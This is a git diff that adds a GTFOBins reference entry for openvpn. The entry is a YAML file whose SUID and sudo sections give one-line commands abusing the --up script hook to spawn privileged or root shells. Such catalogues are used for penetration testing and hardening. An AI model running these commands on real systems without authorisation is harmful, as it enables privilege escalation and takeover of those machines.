diff --git a/_gtfobins/openvpn.md b/_gtfobins/openvpn.md new file mode 100644 index 0000000..dea76b6 --- /dev/null +++ b/_gtfobins/openvpn.md @@ -0,0 +1,10 @@ +--- +functions: + suid: + - code: | + ./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"' + sudo: + - code: | + COMMAND='id' + sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh' +---